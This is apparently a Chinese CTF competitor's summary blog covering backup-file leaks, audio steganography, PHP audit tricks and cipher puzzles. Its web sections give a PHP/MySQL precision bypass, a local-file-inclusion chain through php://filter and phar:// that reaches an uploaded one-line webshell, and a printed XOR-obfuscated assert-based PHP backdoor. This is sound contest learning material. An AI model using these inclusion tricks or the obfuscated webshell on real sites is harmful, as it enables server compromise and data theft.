这几个月参加了几个ctf比赛,包括360杯,强网杯,cuit,这几次的比赛都给我很多帮助,现在做一点儿总结…
writeup
先放下这3个比赛的writeup,以供以后需要的时候查阅。
第三届360信息安全大赛writeup
强网杯writeup: https://github.com/JayvicWen/CTF/tree/master/2015/Qiangwang%20Cup%20(强网杯)/writeup
cuit比赛writeup
备份文件泄露
在这次的比赛中包括360杯cuit都多次考到了备份文件泄露漏洞,下面是我这几次遇到的漏洞。
- Linux : xxx.php —> xxx.php~ || .xxx.php.swp
- bak的后缀 —> xxx.xxx.bak
- 有时候还可以试试压缩文件 —> xxx.rar || xxx.zip
- 还有就是这次遇到MAC系统中的 ‘.DS_Store’ —> 这是个单独的文件就比如xxx/xxx/.DS_Store
音频隐写
这次强网杯碰到了这类有意思的题目,图片隐写就不多说了,这里讲讲音频隐写,这类题目由于接触过少而且难度参差不齐,所以很多东西都是比较新的,其中解法新颖…
1.第一种是百度的时候无意间看到的一类题型,flag隐藏的频率中,大概的做法就是找到音乐中不合理的地方,然后放大就可以发现,很明显发现这次题并不是这样的。
2.第二种和图片隐写类似,相当于把flag或者提示信息放在音乐中,把ascii转化为二进制然后插入到音乐中,这类方式一般难以发现,因为音乐一般信息量巨大,甚至1秒的数据就可以超过图片,这类题目大体的做法是找00,从空信息中间寻找问题,难度过高,这里就不赘述了。
3.最后就是这次题目的做法,想法相当好,题目首先拖到audacity,从频率分析中可以看到高频区有很明显的问题。
切换的频谱图模式,看到高频段有明显的小段。writeup告诉我们,这里按照0.1+0.4*x秒的模式翻译成二进制得到一些字符,仔细分析可以发现每8bit倒序一下得到flag。
代码漏洞(代码审计)#
这几次的ctf常常能遇到一类web题目,是关于php的一些漏洞…
1.首先是php4fun上的一道题目,被强网杯拿出来用。
1 |
|
这里我们利用PHP和MySQL的精度不同可以使得$id == $secretId的判断为false的同时SQL又能取到id为1024的记录,即我们只要传id=1024.00000001(具体几个0不重要,多了少了都不会爆flag的)
2.第二个是360的题目,题目打开是一张图片,按照360的鸟性,直接拿去看信息,果然看到一串由-.构成的东西,这个是摩斯码,拿去解码后得到源码。
1 | <?php |
分析源码知道要满足b不是数字不是数组,然后a+b为8且第十位什么都没有,构造b=0.7b,得到flag,现在也不知道为什么后面的字母会被忽略。
3.数据库查询的逻辑漏洞
这里是卡死了无数人的360杯web20,文章的原址是遇到一个有趣的逻辑漏洞
文件上传
由于文件上传之前很少接触到,这里强网杯的俳句分析系统是接触的第一个文件上传,这道题是模仿CodeGate 2015 的猫头鹰。
翻一翻页面发现url有形如/index.php?page=[upload|view],page的参数可以是链接,于是用php filter来获取源代码
1 | /index.php?page=php://filter/read=convert.base64-encode/resource=index |
index.php中有这么一串代码
1 | $inc=sprintf("%s.php", $p); |
那么无法用%00截断.php,这样无法直接传.tx,于是用压缩文件绕过这个,这里有两个常用的封装归档协议。
- zip://php.zip#test
- phar://php.zip/test
这里php.zip为你上传的文件,后面的test的是压缩文件中你所加入一句话的test.php
源码中看到地址,然后使用中国菜刀,用/index.php?page=phar://upload_paiju/xxxxxxx.txt/a来成功include,然后是各种列目录,然后发现/srv/flag
使用/index.php?cmd=print_r(file_get_contents(‘/srv/FLAG’));&page=phar://./upload_paiju/xxxxxxx.txt/a拿到flag
加密解密
这次遇到好几个很特别的加密解密题目,尤其是360脑洞杯,这里也小小做个总结。
很多题目可能都是字符替换,这样就要计算频率,基本都是拖入这个quipqiup分析。
1.强网杯的替换方式为前后不一致,单独分析就能得到答案,也可以通过判断关键字符脑洞获得答案。
2.360杯的第一题加密比较特殊,使用了键盘上的字符顺序,按个分析既可得到答案。
3.360杯web20,从服务器上下载一个奇怪的php文件,答案后发现是base64+gzinflate加密,把其中的eval换成echo,看到加密前的代码:
1 | ${("#"^"|").("#"^"|").("#"^"|")}=("_"^"=").("!"^"`").("( "^"{").("~"^";").'6'.'4_'.("{"^"?").("~"^";").("?"^"|").("/"^"`").("{"^"?").("~"^";"); ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~"); ${("#"^"|").("#"^"|")}(${("#"^"|").("#"^"|").("#"^"|")}("YXNzZXJ0X29wdGlvbnMoQVNTRVJUX1dBUk5JTkcsIDApOw==")); ${("#"^"|").("#"^"|")}(${("#"^"|").("#"^"|").("#"^"|")}(("`"^":").("#"^"{").("&"^"|").("("^"@").("_"^"=").("~"^"=").("]"^":").("+"^"@").("|"^"$")."1".("}"^"?").("+"^"{").("|"^")")."1".("}"^"/").("?"^"]").("<"^"_").("$"^"`").("|"^".").("."^"[").("`"^"/").("("^"~")."96".("`"^"-").("("^"~")."96".("["^":").("{"^"?").("`"^".").("^"^"+").("/"^"`").("("^"~")."9".("_"^".").("-"^"`").("}"^"%").("{"^"-").("@"^"&").(")"^"|")."2".("]"^":").("#"^"[").("$"^"|")."0".("/"^"@").("#"^"[").("`"^"-")."10".("^"^"."))); |
明显看到有一串base64,解密得到
1 | assert_options(ASSERT_WARNING, 0); |
发现这句话是让assert不发出警告,直接去掉这串代码运行,直接爆出一句话木马的密码,也可以把后面一段echo输出,得到用base64解密得到flag。
4.360杯web40,这题很特殊,一般人看到一串只有大写字母和数字=构成的可能会想到是base32,但这题并不是这样的,我们用base64解密后,找出不可打印字符,枚举大小写后得到8个符合的字符串,提交就能得到flag。
5.还有一类题目是给一个镜像文件,这里也没有什么特别的办法,只能使用DiskGenius的恢复文件功能进行回复。
代码去重
在这次的ctf比赛中遇到这一类比较有意思的问题,ctf中,你往往会得到一串比你想象中复杂的多的代码,例如jsfuck,前面提到的摩斯电码,还有上面的加密。
360杯中网络协议20就得到这样一段很奇怪的代码。去重只有直接得到了flag。